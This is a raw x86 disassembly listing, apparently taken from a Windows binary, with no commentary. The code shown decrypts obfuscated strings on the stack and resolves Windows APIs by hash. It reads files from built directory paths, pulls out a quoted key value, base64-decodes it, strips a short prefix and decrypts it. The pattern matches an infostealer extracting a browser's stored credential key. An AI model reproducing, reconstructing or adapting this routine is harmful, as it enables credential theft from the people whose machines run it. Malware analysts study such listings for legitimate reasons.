nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44eadc]
mov ebx, ebp
mov eax, ebx
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44eae0]
jmp dword [0x44eae8]
mov eax, dword [esp + 8]
mov byte [eax], 0
mov dword [esp + 0x14], 0xd5d6d707
mov dword [esp + 0x18], 0xd1e1eeeb
mov dword [esp + 0x1c], 0xd4d8dee7
mov dword [esp + 0x20], 0x1ad6f619
mov dword [esp + 0x24], 0xde72017
mov dword [esp + 0x28], 0x2b1d2621
mov dword [esp + 0x2c], 0x2122e921
mov dword [esp + 0x30], 0xbb24
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x71
xor cl, byte [esp + eax + 0x14]
add cl, 0xcb
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x20
jne 0x42be80
mov eax, dword [esp + 0xc]
mov ebp, dword [esp + 8]
sub ebp, eax
mov ecx, dword [esp + 0xf0]
push ebp
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.0040d170
mov ebx, eax
jmp dword [0x44eae8]
push dword [esp + 0xc]
call fcn.0040c830
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp dword [0x44eaf8]
and bl, 1
test esi, esi
je 0x42b783
cmp esi, edi
je 0x42b783
mov ebp, ebx
mov ebx, esi
jmp 0x42bef7
add esi, 8
cmp esi, edi
je 0x42bf08
mov eax, dword [esi]
test eax, eax
je 0x42bef0
push eax
call fcn.0040c830
add esp, 4
jmp 0x42bef0
push ebx
call fcn.0040c830
add esp, 4
mov ebx, ebp
jmp 0x42b783
push dword [esp]
push 1
push ecx
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
mov edi, dword [esp + 4]
mov esi, dword [esp + 0x10]
jmp dword [0x44eac8]
mov esi, dword [esp + 0x7c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c820
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.0042db00
mov esi, dword [esp + 0x7c]
mov byte [edi + esi], 0
push 0x20
call fcn.0040c820
add esp, 4
mov ebx, eax
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov ecx, eax
push esi
push edi
call fcn.0042db00
jmp dword [0x44e974]
mov dword [esp + 0x6c], ebx
mov dword [esp + 0x64], edi
movzx eax, al
xor edx, edx
xor esi, esi
jmp dword [eax*4 + 0x44e978]
mov ebp, edx
mov edi, dword [esp + 0x64]
jmp dword [0x44e9a0]
mov ebx, dword [esp + 0x6c]
mov ecx, ebx
call fcn.0042de60
push ebx
call fcn.0040c830
add esp, 4
jmp dword [0x44e9a8]
push ebp
call fcn.0040c830
add esp, 4
push ebp
call fcn.0040c830
add esp, 4
jmp dword [0x44eac4]
int3
jmp dword [0x44eb20]
jmp dword [0x44eb28]
push dword [esp + 0x3c]
call fcn.0040c830
add esp, 4
mov eax, dword [esp + 0x58]
and al, 1
add esp, 0xec
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x44]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44eb10]
jmp dword [0x44eb34]
mov dword [esp + 0x44], ecx
mov esi, dword [esp + ecx + 0x80]
mov eax, 0xfffffffe
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x42c3c0
sar eax, 1
mov ecx, dword [esp + 0x4c]
lea edx, [eax + ecx]
add ecx, eax
add ecx, 0xd
lea eax, [edx*2 + 0x1a]
test ecx, ecx
jns 0x42c3e9
mov eax, 0xffffffff
push eax
call fcn.0040c820
add esp, 4
mov ecx, dword [esp + 0x3c]
movzx edx, word [ecx]
mov ecx, eax
test dx, dx
je 0x42c421
mov edi, dword [esp + 0x50]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42c410
mov word [ecx], 0x5c
mov dword [esp + 0xc], 0x13661174
mov dword [esp + 0x10], 0x1f7d1d8b
mov dword [esp + 0x14], 0x1b8e1979
mov dword [esp + 0x18], 0x7750524
mov dword [esp + 0x1c], 0x363019c
mov dword [esp + 0x20], 0xf630d90
mov word [esp + 0x24], 0x908
mov dword [esp + 0x26], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + edx + 0xc]
mov ebp, edx
and ebp, 0xe
xor ebp, 0x679630ee
mov ebx, edx
and ebx, 0x11
sub ebx, ebp
mov ebp, 0xd
sub ebp, ebx
add ebx, 0xf2
or ebx, edi
not edi
or edi, ebp
and ebx, edi
add bl, 0xec
mov byte [esp + edx + 0xc], bl
inc edx
cmp edx, 0x1e
jne 0x42c470
add ecx, 2
movzx edx, word [esi]
test dx, dx
je 0x42c4d1
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x42c4c0
mov word [ecx], 0
movzx edx, word [esp + 0xc]
test dx, dx
je 0x42c501
lea esi, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x42c4f0
mov word [ecx], 0
lea ecx, [esp + 0x48]
push 0x60
push 3
push 0x120089
push ecx
push eax
call fcn.00445ed0
add esp, 0x14
mov ecx, dword [esp + 0x44]
jmp case.0x42ad0f.130
mov word [eax], 0
lea eax, [esp + 0x48]
push 0x60
push 3
push 0x120089
push eax
push edi
call fcn.00445ed0
add esp, 0x14
mov ecx, dword [esp + 0x44]
jmp dword [0x44eb3c]
mov dword [esp + 0x44], ecx
mov esi, dword [esp + ecx + 0x80]
mov ebp, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ebp + 2], 0
lea ebp, [ebp + 2]
jne 0x42c570
mov edx, ebp
sar edx, 1
mov dword [esp + 0x60], edx
mov eax, dword [esp + 0x4c]
inc eax
mov ecx, eax
and ecx, edx
xor eax, edx
lea edx, [eax + ecx*2]
add edx, 0xc
test edx, edx
mov dword [esp + 0x54], esi
jns 0x42c5b0
mov eax, 0xffffffff
jmp 0x42c5ba
lea eax, [eax + ecx*2]
lea eax, [eax*2 + 0x18]
push eax
call fcn.0040c820
add esp, 4
mov edi, eax
mov eax, dword [esp + 0x3c]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x42c5f1
mov edx, dword [esp + 0x50]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c5e0
mov word [eax], 0x5c
mov dword [esp + 0xc], 0x13661174
mov dword [esp + 0x10], 0x1f7d1d8b
mov dword [esp + 0x14], 0x1b8e1979
mov dword [esp + 0x18], 0x7750524
mov dword [esp + 0x1c], 0x363019c
mov dword [esp + 0x20], 0xf630d90
mov word [esp + 0x24], 0x908
mov dword [esp + 0x26], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [esp + ecx + 0xc]
mov ebx, ecx
and ebx, 0xe
xor ebx, 0x679630ee
mov edx, ecx
and edx, 0x11
sub edx, ebx
mov ebx, 0xd
sub ebx, edx
add edx, 0xf2
or edx, esi
not esi
or esi, ebx
and edx, esi
add dl, 0xec
mov byte [esp + ecx + 0xc], dl
inc ecx
cmp ecx, 0x1e
jne 0x42c640
add eax, 2
mov ebx, dword [esp + 0x54]
movzx ecx, word [ebx]
test cx, cx
je 0x42c6a1
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c690
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42c530
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42c6c0
jmp 0x42c530
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44eb40]
xor eax, eax
jmp dword [0x44ebd0]
push edi
mov esi, eax
call fcn.0040c830
add esp, 4
mov eax, esi
movzx eax, al
jmp dword [eax*4 + 0x44ebd8]
lea esi, [esp + 0x6c]
jmp dword [0x44eb4c]
push 0
push esi
push dword [esp + 0x50]
call fcn.004461b0
add esp, 0xc
nop
nop
nop
nop
nop
nop
nop
push 0
push esi
push dword [esp + 0x50]
call fcn.004461b0
add esp, 0xc
jmp dword [0x44eb54]
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x44eb58]
mov esi, dword [esp + 0x6c]
lea eax, [esi + 1]
push eax
call fcn.0040c820
add esp, 4
mov ebx, eax
push 0
push esi
push eax
push dword [esp + 0x54]
call fcn.00446260
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp], 0
jmp dword [eax*4 + 0x44eb60]
jmp dword [0x44eb6c]
mov eax, dword [esp + 0x6c]
mov byte [ebx + eax], 0
push ebx
call fcn.00403d70
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x6c]
mov byte [ebx + eax], 0
push ebx
call fcn.00403d70
add esp, 4
jmp dword [0x44eb74]
xor ecx, ecx
test eax, eax
setne cl
mov dword [esp], 0
jmp dword [ecx*4 + 0x44eb78]
mov dword [esp + 0x74], ebx
mov dword [esp + 0x70], eax
push eax
call fcn.004046c0
add esp, 4
mov dword [esp], eax
mov dword [esp + 0xc], 0xc8d5b6cb
mov dword [esp + 0x10], 0xbfc2bcba
mov dword [esp + 0x14], 0x303ccc02
mov dword [esp + 0x18], 0x473a4442
mov dword [esp + 0x1c], 0x30253535
mov dword [esp + 0x20], 0xc24c39
mov ecx, 0xe1de9994
mov ebx, 0x1e21666b
nop
nop
nop
nop
nop
nop
movzx eax, byte [esp + ecx + 0x1e216678]
mov edx, ebx
and edx, 0x1420241e
mov esi, ecx
and esi, 0xa1589921
sub esi, edx
xor esi, eax
mov eax, esi
xor eax, 0xb0e5df8d
and esi, 0xcf1a2072
add esi, esi
sub esi, eax
add esi, 0xeecb96be
mov eax, esi
and eax, 0x65
xor esi, 0xe5
lea eax, [esi + eax*2]
add al, 0x1c
mov byte [esp + ecx + 0x1e216678], al
inc ecx
dec ebx
cmp ecx, 0xe1de99ac
jne 0x42c830
lea eax, [esp + 0xc]
push eax
push dword [esp + 4]
call fcn.00404810
add esp, 8
mov ebx, 0xffffffff
mov edx, 0xfffffffe
mov esi, 0xfffffffd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, ebx
add edx, 2
add esi, 3
cmp byte [eax + ebx + 1], 0
lea ebx, [ebx + 1]
jne 0x42c8b0
shr esi, 2
movzx ecx, byte [eax + ebx - 1]
cmp ecx, 0x3d
je 0x42c8d4
cmp ecx, 0x2e
jne 0x42c8d5
dec esi
mov ecx, ebx
xor ecx, 2
and edx, 0xfffffffa
sub edx, ecx
movzx ecx, byte [eax + edx]
cmp ecx, 0x3d
mov dword [esp + 0x78], eax
je 0x42c8f1
cmp ecx, 0x2e
jne 0x42c8f2
dec esi
mov dword [esp + 0x7c], esi
lea eax, [esi + 1]
push eax
call fcn.0040c820
add esp, 4
mov dword [esp + 0x40], eax
test ebx, ebx
je 0x42ca0e
xor eax, eax
xor esi, esi
mov dword [esp + 0x5c], ebx
jmp 0x42c93b
mov ebx, dword [esp + 0x5c]
mov eax, esi
and eax, 4
xor esi, 4
lea esi, [esi + eax*2]
mov eax, dword [esp + 8]
cmp esi, ebx
jae 0x42ca0e
mov dword [esp], eax
mov ebx, dword [esp + 0x78]
movzx eax, byte [ebx + esi]
push eax
call fcn.00421f70
add esp, 4
mov byte [esp + 8], al
movzx eax, byte [ebx + esi + 1]
push eax
call fcn.00421f70
mov edx, dword [esp + 4]
add esp, 4
movzx ecx, byte [esp + 8]
shl cl, 2
mov byte [esp + 7], al
shr al, 4
and al, 3
or al, cl
lea ecx, [edx + 1]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x40]
mov byte [ecx + edx], al
lea eax, [esi + 2]
cmp eax, dword [esp + 0x5c]
jae 0x42c920
movzx eax, byte [ebx + eax]
push eax
call fcn.00421f70
add esp, 4
cmp al, 0x40
mov ebx, dword [esp + 0x5c]
je 0x42c924
movzx ecx, byte [esp + 7]
shl cl, 4
mov byte [esp + 7], al
shr al, 2
and al, 0xf
or al, cl
mov edx, dword [esp]
lea ecx, [edx + 2]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 0x40]
mov byte [ecx + edx + 1], al
lea eax, [esi + 3]
cmp eax, ebx
jae 0x42c924
mov ecx, dword [esp + 0x78]
movzx eax, byte [ecx + eax]
push eax
call fcn.00421f70
add esp, 4
cmp al, 0x40
movzx ecx, byte [esp + 7]
je 0x42c924
shl cl, 6
add al, cl
mov ecx, dword [esp + 0x40]
mov edx, dword [esp]
mov byte [ecx + edx + 2], al
add edx, 3
mov dword [esp + 8], edx
jmp 0x42c924
mov eax, dword [esp + 0x7c]
add eax, 0xfffffffb
mov dword [esp + 0x8c], eax
mov eax, dword [esp + 0x40]
add eax, 5
mov dword [esp + 0x90], eax
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
push 0x14e20a34
push dword [0x452b80]
call fcn.004454d0
add esp, 8
lea ecx, [esp + 0x64]
lea edx, [esp + 0x8c]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44eb80]
mov dword [esp], 0
mov ebx, dword [esp + 0x74]
mov esi, dword [esp + 0x70]
jmp dword [0x44eba0]
lea eax, [ebp + 0x10]
cmp dword [esp + 0x60], 0xfffffff8
jge 0x42ca98
mov eax, 0xffffffff
push eax
call fcn.0040c820
add esp, 4
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x913a9f4d
mov dword [esp + 0x10], 0x954c9300
mov dword [esp + 0x14], 0x891e9700
mov dword [esp + 0x18], 0x8d8a8b1c
mov byte [esp + 0x1c], 0
mov eax, 0x65
mov ecx, 0x9a
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 0x59]
mov esi, eax
or esi, edx
not edx
or edx, ecx
and edx, esi
add dl, 7
mov byte [esp + eax - 0x59], dl
inc eax
dec ecx
cmp eax, 0x76
jne 0x42cae0
mov ecx, dword [esp + 0x54]
movzx eax, word [ecx]
mov esi, dword [esp + 8]
test ax, ax
je 0x42cb31
add ecx, 2
mov esi, dword [esp + 8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [esi], ax
add esi, 2
movzx eax, word [ecx]
add ecx, 2
test ax, ax
jne 0x42cb20
mov word [esi], 0
mov ebx, dword [esp + 0x74]
jmp dword [0x44eb8c]
movzx eax, word [esp + 0xc]
mov ecx, esi
test ax, ax
je 0x42cb71
lea edx, [esp + 0xe]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], ax
add ecx, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x42cb60
mov word [ecx], 0
mov ecx, dword [esp + 0x100]
push dword [esp + 0x64]
push dword [esp + 0x6c]
push dword [esp + 0x10]
call fcn.0040cfa0
jmp case.0x42ad0f.152
mov word [ecx], 0
mov ecx, dword [esp + 0x100]
push dword [esp + 0x64]
push dword [esp + 0x6c]
push dword [esp + 0x10]
call fcn.0040cfa0
jmp dword [0x44eb90]
movzx eax, word [esp + 0xc]
mov ecx, esi
test ax, ax
je 0x42cb90
lea edx, [esp + 0xe]
mov ecx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], ax
add ecx, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x42cbd0
jmp 0x42cb90
mov dword [esp], eax
jmp dword [0x44eb98]
push dword [esp + 8]
call fcn.0040c830
add esp, 4
push 0xbe5098bb
push dword [0x452b68]
call fcn.004454d0
add esp, 8
push dword [esp + 0x68]
call eax
mov esi, dword [esp + 0x70]
jmp dword [0x44eba0]
push dword [esp + 0x40]
call fcn.0040c830
add esp, 4
mov eax, dword [case.0x42ad0f.158]
nop
nop
nop
nop
jmp eax
jmp dword [0x44ebbc]
jmp dword [0x44ebf8]
push edi
call fcn.0040c830
add esp, 4
nop
push edi
call fcn.0040c830
add esp, 4
jmp dword [0x44ec00]
push ebx
call fcn.0040c830
add esp, 4
mov eax, dword [esp + 0x48]
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x700f0e0d
lea eax, [esp + 0xc]
mov byte [eax + 6], 0
mov word [eax + 4], 0
mov ecx, 0xbd
mov edx, 0x42
movzx esi, byte [esp + ecx - 0xb1]
mov eax, ecx
xor eax, edx
and eax, esi
xor eax, edx
mov bl, 0x4e
sub bl, al
mov byte [esp + ecx - 0xb1], bl
inc ecx
dec edx
cmp ecx, 0xc4
jne 0x42cc90
mov ecx, dword [0x452b74]
test ecx, ecx
mov ebx, dword [esp + 0x54]
je 0x42ccf0
mov edx, dword [esp + 0xc]
xor esi, esi
mov eax, dword [0x452b78]
nop
nop
cmp dword [eax + esi*8], 0xb62b8d10
je 0x42cce0
inc esi
cmp ecx, esi
jne 0x42ccd0
jmp 0x42ccf0
mov eax, dword [eax + esi*8 + 4]
cmp eax, edx
jne 0x42d256
nop
nop
nop
nop
mov eax, dword [esp]
jmp dword [0x44ebd0]
movzx eax, al
jmp dword [eax*4 + 0x44ebd8]
jmp dword [0x44ebe0]
mov eax, dword [esp + 0x4c]
mov esi, dword [esp + 0x60]
lea ecx, [esi + eax]
lea edx, [esi + eax]
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42cd2a
mov eax, 0xffffffff
push eax
call fcn.0040c820
add esp, 4
mov edi, eax
mov eax, dword [esp + 0x3c]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x42cd61
mov edx, dword [esp + 0x50]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42cd50
mov word [eax], 0x5c
mov dword [esp + 0xc], 0x34e015c
mov dword [esp + 0x10], 0x765056b
mov dword [esp + 0x14], 0xb660969
mov dword [esp + 0x18], 0xf5d0d2c
mov dword [esp + 0x1c], 0x137d1164
mov dword [esp + 0x20], 0x17771566
mov dword [esp + 0x24], 0x1b7f197f
mov dword [esp + 0x28], 0x1f721d40
mov dword [esp + 0x2c], 0x23542145
mov dword [esp + 0x30], 0x274a2541
mov dword [esp + 0x34], 0x2b48294c
mov dword [esp + 0x38], 0x2d2c
xor ecx, ecx
nop
nop
nop
nop
nop
nop
nop
nop
xor byte [esp + ecx + 0xc], cl
inc ecx
cmp ecx, 0x30
jne 0x42cdd0
add eax, 2
movzx ecx, word [ebx]
test cx, cx
je 0x42ce01
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42cdf0
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42ce31
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42ce20
mov dword [esp], edi
mov word [eax], 0
lea eax, [ebp + 0x12]
cmp esi, 0xfffffff7
jge 0x42ce46
mov eax, 0xffffffff
push eax
call fcn.0040c820
add esp, 4
mov dword [esp + 0xc], 0x51a24f7d
mov dword [esp + 0x10], 0x55a453b7
mov dword [esp + 0x14], 0x59ba57b3
mov dword [esp + 0x18], 0x5db85bbc
mov word [esp + 0x1c], 0x5f5c
mov dword [esp + 0x1e], 0
mov ecx, 0xd
mov esi, 0x580871f2
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [esp + ecx - 1]
mov edx, esi
or edx, edi
not edi
or edi, ecx
and edi, edx
mov edx, edi
not edx
or edx, 0xbe
or edi, 0x41
sub edx, edi
mov byte [esp + ecx - 1], dl
inc ecx
dec esi
cmp ecx, 0x23
jne 0x42ce90
movzx edx, word [ebx]
mov ecx, eax
test dx, dx
je 0x42cee1
lea edi, [ebx + 2]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42ced0
mov word [ecx], 0
movzx edx, word [esp + 0xc]
test dx, dx
je 0x42cf11
lea edi, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42cf00
mov word [ecx], 0
mov dword [esp + 0xc], 0x6166675e
mov ecx, 0x2d3a4d69
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x2d3a4d5d]
xor edx, ecx
mov esi, edx
and esi, 0x72
xor edx, 0xf2
lea edx, [edx + esi*2]
inc dl
mov byte [esp + ecx - 0x2d3a4d5d], dl
inc ecx
cmp ecx, 0x2d3a4d6d
jne 0x42cf30
push 0
push 0
push 0xc00000
lea ecx, [esp + 0x18]
push ecx
push dword [esp + 0x10]
push eax
push dword [esp + 0x118]
call fcn.00424300
add esp, 0x1c
nop
nop
nop
nop
mov eax, dword [esp + 0x4c]
mov edi, dword [esp + 0x60]
lea ecx, [edi + eax]
add ecx, 0x17
test ecx, ecx
jns 0x42cfa0
mov eax, 0xffffffff
jmp 0x42cfa9
add eax, edi
lea eax, [eax*2 + 0x2e]
push eax
call fcn.0040c820
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x3c]
movzx ecx, word [eax]
mov eax, esi
test cx, cx
je 0x42cfe1
mov edx, dword [esp + 0x50]
mov eax, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42cfd0
mov dword [esp], esi
lea esi, [ebx + 2]
mov word [eax], 0x5c
mov dword [esp + 0xc], 0x34e015c
mov dword [esp + 0x10], 0x765056b
mov dword [esp + 0x14], 0xb660969
mov dword [esp + 0x18], 0xf5d0d2c
mov dword [esp + 0x1c], 0x137d1164
mov dword [esp + 0x20], 0x17771566
mov dword [esp + 0x24], 0x1b7f197f
mov dword [esp + 0x28], 0x1f721d40
mov dword [esp + 0x2c], 0x23542145
mov dword [esp + 0x30], 0x274a2541
mov dword [esp + 0x34], 0x2b48294c
mov dword [esp + 0x38], 0x2d2c
xor ecx, ecx
nop
nop
xor byte [esp + ecx + 0xc], cl
inc ecx
cmp ecx, 0x30
jne 0x42d050
add eax, 2
movzx ecx, word [ebx]
test cx, cx
je 0x42d081
mov edx, esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d070
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42d0b1
lea edx, [esp + 0xe]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d0a0
mov word [eax], 0
mov ecx, ebp
and ecx, 0x12
mov eax, edi
xor eax, 9
add eax, ecx
jns 0x42d0d0
mov eax, 0xffffffff
jmp 0x42d0d2
add eax, eax
push eax
call fcn.0040c820
add esp, 4
mov edi, eax
mov dword [esp + 0xc], 0x51a24f7d
mov dword [esp + 0x10], 0x55a453b7
mov dword [esp + 0x14], 0x59ba57b3
mov dword [esp + 0x18], 0x5db85bbc
mov word [esp + 0x1c], 0x5f5c
mov dword [esp + 0x1e], 0
mov eax, 0xd
mov ecx, 0x580871f2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + eax - 1]
mov ebx, ecx
or ebx, edx
not edx
or edx, eax
and edx, ebx
mov ebx, edx
not ebx
or ebx, 0xbe
or edx, 0x41
sub ebx, edx
mov byte [esp + eax - 1], bl
inc eax
dec ecx
cmp eax, 0x23
jne 0x42d120
mov ebx, dword [esp + 0x54]
movzx ecx, word [ebx]
mov eax, edi
test cx, cx
je 0x42d171
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x42d160
mov word [eax], 0
movzx ecx, word [esp + 0xc]
test cx, cx
je 0x42d1b0
lea edx, [esp + 0xe]
mov esi, dword [esp]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42d190
jmp 0x42d1b3
mov esi, dword [esp]
mov word [eax], 0
mov dword [esp + 0xc], 0x6166675e
mov eax, 0x2d3a4d69
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x2d3a4d5d]
xor ecx, eax
mov edx, ecx
and edx, 0x72
xor ecx, 0xf2
lea ecx, [ecx + edx*2]
inc cl
mov byte [esp + eax - 0x2d3a4d5d], cl
inc eax
cmp eax, 0x2d3a4d6d
jne 0x42d1d0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x18]
push eax
push esi
push edi
push dword [esp + 0x118]
call fcn.00424300
add esp, 0x1c
jmp dword [0x44ebe8]
mov ecx, dword [esp + 0x58]
and cl, 1
or cl, al
mov dword [esp + 0x58], ecx
jmp dword [0x44ebf0]
jmp dword [0x44ec08]
push esi
call fcn.0040c830
add esp, 4
mov ecx, dword [esp + 0x44]
add ecx, 4
xor eax, eax
cmp ecx, 0xc
setne al
jmp dword [eax*4 + 0x44eb10]
push dword [esp + 8]
push 1
push eax
push dword [0x452b7c]
call fcn.00442710
add esp, 0x10
mov eax, dword [esp]
jmp dword [0x44ebd0]
jmp dword [0x44ebc8]
push esi
call fcn.00404940
add esp, 4
push esi
call fcn.00404940
add esp, 4
jmp dword [0x44ebc0]
lea eax, [esp + 0x6c]
push 0
push eax
push dword [esp + 0x18]
call fcn.004461b0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x44ec28]
mov esi, dword [esp + 0x6c]
lea eax, [esi + 1]
push eax
call fcn.0040c820
add esp, 4
push 0
push esi
mov dword [esp + 0x70], eax
push eax
push dword [esp + 0x1c]
call fcn.00446260
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [esp + 8], 0
jmp dword [eax*4 + 0x44ec40]
jmp dword [0x44ed20]
push dword [esp + 0x68]
call fcn.0040c830
add esp, 4
jmp dword [0x44ed28]
jmp dword [0x44ed28]
mov eax, dword [esp + 0x6c]
mov ebp, dword [esp + 0x68]
mov byte [ebp + eax], 0
mov dword [esp + 8], 0
nop
nop
nop
nop
mov dword [esp + 0x1c], 0xf2eeecf6
mov dword [esp + 0x20], 0xced5c8ea
mov word [esp + 0x24], 0x8de7
mov byte [esp + 0x26], 0xa2
lea eax, [esp + 0x27]
mov byte [eax + 2], 0
mov word [eax], 0
xor eax, eax
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x1b
xor cl, byte [esp + eax + 0x1c]
add cl, 0x79
mov byte [esp + eax + 0x1c], cl
inc eax
cmp eax, 0xe
jne 0x42d4b0
movzx ecx, byte [esp + 0x1c]
test cl, cl
lea ebx, [esp + 0x1c]
je 0x42d510
mov eax, ebx
mov esi, ebp
jmp 0x42d4e7
movzx ecx, byte [eax]
test cl, cl
je 0x42d522
movzx edx, byte [ebp]
test dl, dl
je 0x42d520
inc ebp
inc eax
lea edi, [esi + 1]
cmp dl, cl
je 0x42d4fc
mov esi, edi
mov ebp, edi
je 0x42d4e0
mov eax, ebx
jmp 0x42d4e0
mov esi, ebp
jmp 0x42d522
xor esi, esi
xor eax, eax
test esi, esi
sete al
jmp dword [eax*4 + 0x44ec48]
lea ebp, [esi + 0xa]
movzx eax, byte [esi + 0xa]
xor edi, edi
test al, al
je 0x42d552
mov ecx, ebp
nop
cmp al, 0x22
je 0x42d550
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42d540
jmp 0x42d552
mov edi, ecx
mov ebx, edi
sub ebx, ebp
xor eax, eax
cmp ebx, 5
setb al
jmp dword [eax*4 + 0x44ec50]
xor eax, eax
cmp byte [edi - 1], 0x74
setne al
jmp dword [eax*4 + 0x44ec58]
xor eax, eax
cmp byte [edi - 2], 0x78
setne al
jmp dword [eax*4 + 0x44ec60]
xor eax, eax
cmp byte [edi - 3], 0x74
setne al
jmp dword [eax*4 + 0x44ec68]
xor eax, eax
cmp byte [edi - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44ec70]
mov eax, ebx
inc eax
mov dword [esp + 4], eax
lea eax, [ebx + ebx + 2]
jns 0x42d5b7
mov eax, 0xffffffff
push eax
call fcn.0040c820
add esp, 4
mov dword [esp], eax
push edi
push ebp
push dword [esp + 0xc]
push eax
call fcn.0040e690
add esp, 0x10
push 0x60
push 3
push 0x120089
lea eax, [esp + 0x18]
push eax
